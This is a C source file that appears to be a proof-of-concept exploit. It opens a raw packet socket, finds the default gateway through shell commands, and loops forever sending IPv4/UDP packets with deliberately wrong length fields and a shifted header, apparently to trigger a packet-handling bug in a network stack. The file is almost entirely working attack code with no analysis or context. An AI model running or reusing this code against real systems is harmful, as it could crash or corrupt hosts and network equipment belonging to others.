#define _GNU_SOURCE
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <net/if.h>
#include <stdio.h>
#include <net/if_arp.h>
#include <netinet/ip_icmp.h>
#include <err.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>
#include <assert.h>

struct in_addr src_addr;
struct in_addr dst_addr;
char *dst_addr_str;
unsigned int ifindex;
char *interface;
unsigned char target_mac[6];
int packet_socket;

uint16_t ip_checksum(char *buf, int len) {
  int count = len;
  uint32_t res = 0;
  while (count > 1) {
    res += *(uint16_t*)buf;
    buf += 2;
    count -= 2;
  }
  if (count > 0) res += *(uint8_t*)buf;
  while (res >> 16) res = (res & 0xffff) + (res >> 16);
  return ~res;
}

void parse_mac(unsigned char *bin_mac, const char *buf) {
	if (sscanf(buf, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
		bin_mac+0, bin_mac+1, bin_mac+2, bin_mac+3, bin_mac+4, bin_mac+5) != 6)
		errx(1, "unable to parse MAC");
}

void ip_hdr_defaults(struct ip *ip_hdr) {
	ip_hdr->ip_hl = 5;
	ip_hdr->ip_v = 4;
	ip_hdr->ip_tos = 0;
	ip_hdr->ip_id = 0;
	ip_hdr->ip_off = 0;
	ip_hdr->ip_ttl = 100;
	ip_hdr->ip_sum = 0;
	ip_hdr->ip_src = src_addr;
	ip_hdr->ip_dst = dst_addr;
}

char *systemf(const char *command, ...) {
	char *full_command;
	va_list ap;
	va_start(ap, command);
	if (vasprintf(&full_command, command, ap) == -1)
		err(1, "vasprintf");
	va_end(ap);
	printf("systemf: <<<%s>>>\n", full_command);
	FILE *child_stream = popen(full_command, "r");
	char *result = NULL;
	size_t result_size = 0;
	errno = 0;
	if (getdelim(&result, &result_size, '\0', child_stream) == -1 && errno != 0)
		errx(1, "getdelim reported error");
	if (pclose(child_stream))
		errx(1, "pclose reported error");
	if (result) {
		puts(result);
		puts("================================");
	}
	free(full_command);
	return result ? result : strdup("");
}

#define round_up(n,b) ( ((n)+((b)-1)) / (b) * (b) )

void send_packet(char *packet, size_t len) {
	struct sockaddr_ll dest_addr = {
		.sll_family = AF_PACKET,
		.sll_protocol = htons(ETH_P_IP),
		.sll_ifindex = ifindex,
		.sll_hatype = ARPHRD_ETHER,
		.sll_pkttype = 0, /* only used for receiving */
		.sll_halen = 6
	};
	memcpy(&dest_addr.sll_addr, target_mac, 6);
	if (sendto(packet_socket, packet, len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != len)
		err(1, "unable to send packet");
}
#define SEND_PACKET(packet) send_packet((packet), sizeof(packet))

void send_udp_datashift(int shift_amount, int data_length) {
	printf("send_udp_datashift(shift_amount=%d, data_length=%d)\n", shift_amount, data_length);
	assert((shift_amount & 3) == 0);
	int ip_header_size = sizeof(struct ip) + shift_amount;
	assert((ip_header_size >> 2) <= 0xf);
	char packet[sizeof(struct ip) + shift_amount + sizeof(struct udphdr) + 1];

	struct ip *ip_hdr = (void*)packet;
	ip_hdr_defaults(ip_hdr);
	ip_hdr->ip_len = htons(sizeof(packet) + data_length); /* deliberately incorrect */
	ip_hdr->ip_p = IPPROTO_UDP;
	ip_hdr->ip_hl = (ip_header_size>>2);
	memset(packet + sizeof(struct ip), '\0', shift_amount);
	ip_hdr->ip_sum = ip_checksum((char*)ip_hdr, sizeof(*ip_hdr) + shift_amount);

	struct udphdr *uh = (void*)(packet + sizeof(struct ip) + shift_amount);
	uh->source = htons(1);
	uh->dest = htons(1);
	uh->len = 50000; /* bogus; will cause packet drop after move */
	uh->check = 0;

	packet[sizeof(struct ip) + shift_amount + sizeof(struct udphdr)] = '#';

	SEND_PACKET(packet);
}

int main(int argc, char **argv) {
	setbuf(stdout, NULL);

	// figure out interface, IPs, MAC address
	interface = systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \\([^ ]*\\) .*|\\1|' | tr -d '\\n'");
	if (inet_pton(AF_INET, systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \\([^ ]*\\) .*|\\1|' | tr -d '\\n'"), &src_addr) != 1)
		err(1, "unable to convert source IP");
	dst_addr_str = systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \\([^ ]*\\) .*|\\1|' | tr -d '\\n'");
	if (inet_pton(AF_INET, dst_addr_str, &dst_addr) != 1)
		err(1, "unable to convert dest IP");
	systemf("ping -c3 -w4 %s", dst_addr_str);
	parse_mac(target_mac, systemf("ip link show %s | grep link/ether | sed 's|.*link/ether \\([^ ]*\\) .*|\\1|' | tr -d '\n'", interface));
	ifindex = if_nametoindex(interface);
	if (ifindex == 0)
		errx(1, "unable to resolve interface name");

	packet_socket = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
	if (packet_socket == -1)
		err(1, "socket");

	while (1) {
		send_udp_datashift(4, 40000);
	}

	return 0;
}